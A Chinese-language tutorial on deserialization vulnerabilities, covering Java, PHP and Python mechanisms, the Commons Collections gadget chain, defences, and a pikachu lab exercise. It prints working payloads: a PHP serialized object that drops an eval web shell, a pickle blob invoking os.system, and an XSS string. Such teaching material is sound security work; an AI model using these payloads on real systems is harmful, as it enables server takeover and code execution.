反序列化


反序列化漏洞是 Web 安全中极具危害性的漏洞类型,其核心是 攻击者通过构造恶意的序列化数据,诱导程序在反序列化过程中执行非预期操作(如远程代码执行、服务器权限夺取等)。下面从基础概念、漏洞原理、危害、典型案例到防御措施进行详细讲解。

一、序列化与反序列化

要理解反序列化漏洞,需先明确两个核心操作:

  • 序列化(Serialization):
    将内存中的对象(包含数据和方法)转换为可传输 / 存储的格式(如字节流、JSON、XML、特定二进制格式等)的过程。目的是方便数据在网络传输或本地存储(例如保存到文件、数据库)。
    例:Java 中通过 ObjectOutputStream.writeObject() 将对象转为字节流;PHP 中通过 serialize() 生成字符串。
  • 反序列化(Deserialization):
    将序列化后的数据流恢复为内存中原始对象的过程。程序通过反序列化,可重新获取对象的状态和方法,继续使用该对象。
    例:Java 中通过 ObjectInputStream.readObject() 恢复对象;PHP 中通过 unserialize() 解析字符串。

二、原理

反序列化漏洞的本质是:程序在反序列化时,未对输入的序列化数据进行严格校验,导致攻击者可以构造恶意数据,利用反序列化过程中自动触发的代码(如类的魔术方法、回调函数)执行恶意操作。

关键前提:

  • 程序存在反序列化操作(即接收外部输入的序列化数据并解析);
  • 反序列化的类中存在可被利用的代码(如魔术方法、危险函数调用);
  • 攻击者能控制反序列化的输入数据。

三、案例

不同编程语言的序列化机制不同,漏洞利用方式也有差异,以下是典型案例:

  1. Java 反序列化漏洞
    Java 的序列化基于 Serializable 接口,反序列化时通过 readObject() 方法恢复对象,且过程中可能触发类的自定义逻辑(如重写的 readObject() 方法)。

    • 典型案例:Apache Commons Collections 漏洞(CVE-2015-7501)
      Apache Commons Collections 是 Java 常用工具库,其中 TransformingComparator 类的 compare() 方法会调用 Transformer 接口的 transform() 方法。攻击者可构造恶意序列化数据,将 Transformer 替换为可执行命令的类(如 InvokerTransformer,可调用 Runtime.exec()),当反序列化时,compare() 被自动触发,最终执行系统命令。

    • 利用流程:
      攻击者构造包含恶意 Transformer 链的序列化对象 → 目标程序反序列化该对象 → 触发 compare() 方法 → 执行 Runtime.exec("恶意命令")。

  2. PHP 反序列化漏洞
    PHP 的序列化格式是字符串

    class S{
         public $test="pikachu";
     }
     $s=new S(); //创建一个对象
     serialize($s); 
     /*
     把这个对象进行序列化
     序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
         O:代表object
         1:代表对象名字长度为一个字符
         S:对象的名称
         1:代表对象里面有一个变量
         s:数据类型
         4:变量名称的长度
         test:变量名称
         s:数据类型
         7:变量值的长度
         pikachu:变量值
     */
    

    反序列化时通过 unserialize() 函数解析

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; 
    //得到的结果为pikachu
    

    且会自动触发类的魔术方法常见的几个魔法函数:

    __construct()      //当一个对象创建时被调用
    
    __destruct()       //当一个对象销毁时被调用
    
    __toString()       //当一个对象被当作一个字符串使用
    
    __sleep()          //在对象在被序列化之前运行
    
    __wakeup()         //将在序列化之后立即被调用
    
    • 典型场景:
      若某个类的魔术方法中存在危险操作(如 __destruct() 调用 file_put_contents() 写入文件,且参数可控),攻击者可构造序列化数据,控制该参数写入恶意代码(如 PHP 一句话木马)。

    • 示例代码:

    class Evil {
        private $data;
        function __destruct() {
            // 危险操作:将$data写入文件
            file_put_contents('/var/www/html/shell.php', $this->data);
        }
    }
    // 攻击者构造恶意序列化数据:将$data设为"<?php eval($_POST['cmd']);?>"
    $malicious = 'O:4:"Evil":1:{s:9:"Evildata";s:28:"<?php eval($_POST[\'cmd\']);?>";}';
    unserialize($malicious); // 反序列化时触发__destruct(),写入木马
    
  3. Python 反序列化漏洞
    Python 的 pickle 模块用于序列化(pickle.dumps())和反序列化(pickle.loads()),其反序列化过程会执行数据中包含的 Python 代码(如函数调用、类实例化),因此风险极高。

    • 示例:
      攻击者构造包含 os.system("恶意命令") 的 pickle 数据,目标程序调用 pickle.loads() 解析时,会直接执行命令:
    import pickle
    import os
    
    # 恶意序列化数据:执行"ls"命令
    malicious_data = b'''cos
    system
    (S'ls'
    tR.'''
    
    pickle.loads(malicious_data)  # 反序列化时执行ls命令
    

四、危害

反序列化漏洞的危害程度极高,主要包括:

  • 远程代码执行(RCE):最严重的危害,攻击者可直接执行系统命令(如删除文件、反弹 shell),夺取服务器控制权;
  • 数据泄露:通过恶意操作读取敏感数据(如数据库密码、用户信息);
  • 拒绝服务(DoS):构造特殊数据导致反序列化过程无限循环或资源耗尽,使服务崩溃;
  • 权限提升:利用反序列化操作突破程序权限控制,执行高权限操作。

五、防御

反序列化漏洞防御的核心是限制反序列化的输入来源和内容,具体措施如下:

  • 严格校验输入:仅接收可信来源的序列化数据(如内部服务间通信),拒绝外部不可信输入;
  • 禁用危险序列化机制:避免使用原生危险序列化(如 Java 的 Serializable、PHP 的 unserialize()、Python 的 pickle),改用安全格式(如 JSON、XML,需注意解析器安全);
  • 限制反序列化类范围:通过白名单机制,仅允许反序列化可信类(如 Java 中自定义 ObjectInputStream,过滤危险类);
  • 加密与签名:对序列化数据进行加密或数字签名,确保数据未被篡改(如用 HMAC 验证数据完整性);
  • 隔离反序列化操作:在沙箱环境中执行反序列化(如独立进程、低权限用户),即使被攻击也不会影响主程序;
  • 及时更新依赖:修复第三方库的已知反序列化漏洞(如升级Apache Commons Collections 至安全版本);
  • 避免在魔术方法 / 回调中执行危险操作:如 PHP 的__destruct()、Java 的readObject()中不调用系统命令、文件操作等。

六、实战

靶机pikachu之反序列化

源代码为定义了一个类,属性test的值为pikachu
定义_construct()函数,输出test的值,在对象创建时调用

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}


$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}

输入一串序列化字符串

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

反序列化后创建了一个test对象,同时调用_construct()函数,输出test变量的值,即执行脚本<script>alert('xss')</script>

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐